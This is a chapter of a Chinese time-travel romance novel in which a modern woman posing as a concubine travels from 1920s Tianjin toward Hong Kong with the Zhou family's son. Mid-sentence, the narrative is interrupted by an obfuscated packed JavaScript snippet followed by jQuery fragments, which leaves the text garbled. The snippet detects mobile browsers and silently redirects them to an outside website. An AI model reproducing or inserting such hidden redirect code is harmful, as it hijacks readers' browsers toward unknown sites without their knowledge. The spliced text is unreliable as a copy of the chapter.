11.第 11 章
作品:《你听懂我吗》 杨妈一早就踢踢踏踏踩上楼来,敲响程筝的房门:“衣裳收拾好了么?王发已经在楼下等着了。”
程筝在屋里回:“就来!”
伸手去床头柜上摸卡子,却摸了个空,程筝才想起来自己昨夜将卡子扎在那博美犬的脑袋上了,于是只能散着头发出去。
前几日酷暑,热过劲儿了以后天气就凉下来,外头的知了也不叫了,早起还感到一点凉意,程筝加了个米色的呢子披肩,拉开屋门见杨妈还在东跑西跑地忙活。
“良少爷在楼下用饭,姨太太也去楼下吃完再走吧。”
程筝向东边望了一眼,问道:“鹤少爷还没醒觉?”
“醒了。”杨妈说道,“老爷把他叫到屋里去谈事情了,他吩咐过不吃早饭。”
周太太没有行程,还没起,楼下只有周怀良一人在用餐,他平日的作息应该十分健康。
桌上一盘羊肉蒸饺,薄瓷盅里盛着枣粥,程筝跟周怀良一人端坐一头,谁也不挨着谁,只不过因为丢了卡子,程筝的头发频频往下落,对面的人瞧过来几眼,放下碗筷拿出两只银夹子出来,推了出去。
“你的。”他重新端起瓷碗,程筝瞧见一双布满细小豁口的手,衬衫袖口向上挽起,露出一截精壮的小臂。
周怀良将视线落回碗底,枣粥袅袅的热雾浮上他面庞。
程筝狐疑道:“怎么会在良少爷那处?”
“从怀胜头上取下来的。”周怀良道。
“府上还有四少爷?”
“是昨日母亲给狗取的姓名。”
程筝努力将两片唇抿进去,心道周老爷是否知道自己一夜多了个狗儿子。
周怀良觑她一眼:“要笑就笑罢。”
她莞尔,银色夹子缀在耳朵边上,晃了周怀良的眼睛。
“周太太准是祝您旗开得胜。”
周怀良放下碗,道:“我倒是希望少打仗。”
此时杨妈跟芸芸正好在帘布后面的小屋里吵架,程筝刚投过去一眼,杨妈就丧着脸吩咐芸芸去楼上催一下老爷跟鹤少爷,再拖下去要赶不上船了。
芸芸欲言又止,苦脸捏着手指尖儿上楼去。
程筝问道:“芸芸何至于这么气?”
杨妈叹道:“她急用钱,要支工钱,我叫她有本事去跟太太坦白。”
“坦白什么?”
“嗳,她总想着她那个——没什么,不关六姨太的事。”杨妈将嘴紧闭,做事去了。
芸芸这时已经叫完人下楼来,脸色依旧黑如锅底,说话也只咕哝在嗓子里:“鹤少爷说马上来。”
杨妈也不同她气,道:“老爷说要吃早饭了么?”
“没。”芸芸梗着脖子说道,“老爷说昨夜太累,跟鹤少爷交代完香港的事就得睡回笼觉。”
闻言,周怀良眉心轻微一蹙,覆着薄茧的手托着瓷碗底部,指尖点了点碗壁,忽地睇了程筝一眼。
程筝深感莫名。
“我确实瞧见父亲昨晚上很晚才回屋。”搅了搅碗底的粥,他道,“程小姐更晚。”
忽地被提及,叫程筝警惕了些许,撇眼看向对面从容淡定的男人。
难不成昨天晚上她的行动被这人瞧见了?
“昨晚上我……”想了想,程筝刻意笑笑,“我遍处找怀胜,想拿回我的卡子,我将院子里那些平房都寻遍了都没见着,没成想是良少爷拿去了。”
周怀良掀起眼皮盯她,轻轻“嗯”过一声就不发话了,不知在想什么,略走着神。
楼上的门开了,周怀鹤慢步下楼,苍白羸弱的面上套着一层深思,不知周老爷同他说了些什么,叫他这样沉默。
“王发呢?”周怀鹤问着。
杨妈指指前边儿大门:“在车里头候着呢,我这就把他叫进来抬行李。”
因着担心周怀良对昨夜的事还有疑问,程筝急急想走,说道不吃了,站起来掸掸旗袍,恨不得马上钻到车里去,还邀请周怀鹤,说鹤少爷我们快些上车去罢。
她的殷勤倒更值得周怀鹤深思。
见两人一齐出门去,周怀良向芸芸问:“五姨太染病,同程小姐有什么关联?她为何要跟去香港。”
芸芸心不在焉收拾程筝留下的餐盘,回道:“何师父看了六姨太的八字,说要缓一年再嫁进周家来,可老爷的身子又迟迟没有好转,何师父就叫六姨太去香港天后庙为老爷求福,正好跟鹤少爷一道去了。”
周怀良默一瞬,再开口:“后院的屋子是做什么用的?”
“都是我们这些杂伙计住的屋子,没甚新奇的。”
“我父亲常去么?”
“老爷他——”
芸芸一脸踌躇,周怀良瞧她一眼,抛出话来:“你说实话,我叫杨妈支工钱给你应急。”
这下芸芸的嘴皮飞快:“嗳呀老爷抽上了大烟,太太很是不喜,老爷就到平房的隔间里头躲着抽,三五日去烟铺上躺上一次罢。”
周怀良紧皱眉头,芸芸讪讪,小声嘀咕:“大少爷可别将我捅了出去,老爷准要责骂我。”
“他何时染上的?”
“半年前罢,我记着秋水少爷那时还在家待了一阵。”
“方秋水引他抽的?”
“良少爷啊……我没有这样说。”芸芸怕了。
周怀良的脸跟千斤坠子似的沉下,抬抬手指:“不关你事,去忙罢。”
除二人外,王发上下跑了两趟,将程筝和周怀鹤装衣服的匣子都拎进了车里去。
二人一齐坐在后排,窗户用一层透光的纱帘遮住,外头的街景也瞧不真切,程筝只隐隐瞥见芸芸从大门出来,拎着钱袋子叫一辆黄包车走了。
她正要掀帘子去看,边上周怀鹤发声:“到香港后,你同我们一起住我姨妈那处。”
“好。”程筝应下。
“北伐才结束一年,香港那边也并不比天津安生多少,我要看照我母亲,没工夫照拂你,照何师父说的去完天后庙以后就叫王发载你走,不要在不识得的地方逗留。”
“好。”程筝又应下。
周怀鹤略略侧头,“身上有钱么?”
“鹤少爷打算给我钱?”程筝眨眼,“多多益善。”
他瞧她一眼,飞快挪走视线,不动声色:“叫王发支给你一些。”
说曹操曹操到,王发搬完行李,准备驾着车子上路了。
三十年代的雪铁龙汽车颠簸起来,周怀鹤的嗓音尽管静,也跟着上上下下地抖了起来,五指握拳抵在唇边轻咳,说了最后一句话:“到了香港,少听、少问,六姨太须得做个明白人。”
程筝歪着头看飞起的帘子,道:“我自然明白。”
早上九点钟光景,老天津卫的摩登程度不及上海,街景都带着朴实的旧中国感,满街车夫、报棍子、酒楼鞋店洋货铺。
这里与程筝生活的时代大有不同,可她一直都明白自己来这一趟是做什么。
无数念头在心尖盘桓,程筝垂着的胳膊肘划过周怀鹤的衣裳,于是她便从那无数个念头挑出一条来。
在这里等着时间白白耗过去当然是不行的,二十一世纪的姥姥还大病不起,程筝自然知道自己不是来当这富太太的。
既然现在她去留的问题已经解决得差不离,那么当务之急就是——
是要用周怀鹤来试何师父一试。
虽说心里生出几分歉疚,可她心里已然有了算计。
程筝望着玻璃映出的周怀鹤的侧颜,伴着一路老牌汽车的引擎声到了码头。
天津本就因漕运而兴,开埠后成为北方贸易中心城市,河面上泊着几家商号的货船,沿着两岸,船只浮得高高的,摇摇晃晃像只跛了脚的白鸟。
其中最高的一艘,就是他们今早要乘的云霆船,是一条快船,走水路一两日光景抵达香港,早晨出发,约莫明天夜里到。
检过船票,王发拎着两个皮匣子上了轮船,他们赶得紧,将将上去,轮船局的办事人就忙乱起来,高声吆喝着轰走那些车夫和卖报的报棍子,说船要开了。
船上有过夜房间,一张船票对一间
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16163935|178680||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
房,王发捡的是剩票,三个人都不挨着,岔得乱七八糟,他欲帮程筝将匣子拎进屋里,程筝自己接过去整理了,船舱房间污秽不堪,收拾完已是晌午,她满头大汗,到阑干边上透气。
周怀鹤早有预感自己要晕船,上船后就歇进了房间里,只叫王发将他的书找出来。
王发去送完书本,半路上就被程筝拉住,她问王发有没有什么连环画可供打发时间,王发指了指周怀鹤屋内:“你去问鹤少爷愿意不愿意借你一本。”
程筝在他门口来来去去走了几道,周怀鹤猛地将房门一开,静静盯着她。
“准六姨太为我守门?受不起。”
“我是想来找你讨本图画看。”
周怀鹤道:“我不看那种小孩子东西。”
程筝像只活泥鳅,沿着他手臂跟门框的缝隙滑进去,言笑晏晏地坐在他床榻上,拍拍旁边的位置:“鹤少爷跟我口述故事也行。”
“我顺带跟鹤少爷谈讲一下还人情的事。”
周怀鹤定两秒身子,将门合上。
“有话直说。”他道,“我承诺过会依你。”
“不急。”程筝慢慢笑,“待在船上无聊,鹤少爷给我念念书?”
“给你念书,我会无聊。”他很是冷静。
程筝塌肩膀,披肩像鸟翅膀一样掀起来,“委实是难对付。”
“我可是怕鹤少爷为五姨太的事伤神,特地来安慰你的,你可太不解风情。”
周怀鹤已攒下些应付她的经验:“擦了油的车轱辘都没六姨太的嘴跑得快。”
“才不,我说得很真。”
轮船行得不稳,左右晃荡的,程筝慢悠悠道:“谁都不是石头缝里蹦出来的,我也有在老家养病的母亲。”
“她会给我讲小人画,我妈妈哼唱京戏也是不错的。”其实程筝记不起来,因为妈妈去世太早了,这时候她只能参照着和姥姥的往昔去说,“小时候爸爸罚我掰苞米,她会偷偷给我塞糖糕。”
她的目的在于打情怀分,她想要从周怀鹤嘴里套出些五姨太在香港的事情来,这是程芸菁所不知并且无法透露给她的,程筝不知道周怀鹤在香港做什么,过多的未知会让她的计划失去把握。
例子举了很多,程筝老神在在,周怀鹤一声不发,敛下眼去。
“说完了?”他轻飘飘道。
程筝诧了一瞬,心说自己难道说得还不够温情?想起这些旧事她自己都要泫然若泣了。
可周怀鹤只是脸色越来越沉,他的脸本就覆着一层病态的雾蒙蒙的白,此时更是难看,连带着声音都多了几分中气:“我原以为你是同我讲还人情账才放你进来的,如果六姨太与我谈讲这些,不如现在就出去,回去自己的房间。”
“我并无连环画给你看,六姨太可以做梦打发时间。”
“我——”程筝没想到这么快就失算,被赶出了房间,眼见那门在自己鼻尖跟前关上。
王发正端了饭给周怀鹤送去,与吃闭门羹的程筝面面相觑。
她无奈:“看样子我又惹到他了,这人脾气忒坏。”
“鹤少爷性情不算坏的,你同他说什么了?”王发纳罕。
程筝道:“我怕他难过五姨太的事,跟他说起我的母亲。”
本意是向他证明她也有相似的亲情的挂念,不曾想竟弄巧成拙。
王发默然,这份沉默叫程筝确认,自己说错话了。
难不成周怀鹤跟五姨太关系不好?那他何必这样忧心忡忡地要赶到香港去。
程筝很少有处理不妥善的人际关系,所以彼时的她也很难想通,这世界上亲缘关系是多样的,无数恨者,无数爱者,总在发着恨的同时惦记着爱。
大抵每个人对母亲都抱着异样复杂的感受。
而这天夜里,五姨太悄然病逝了。
周怀鹤的姨妈秦三小姐向周公馆发去若干封电报,可云霆号出航已有半日。
在那个什么都慢熏熏的年代,有人竟不知自己在船上飘飘荡荡的,就恍然间丢掉了母亲。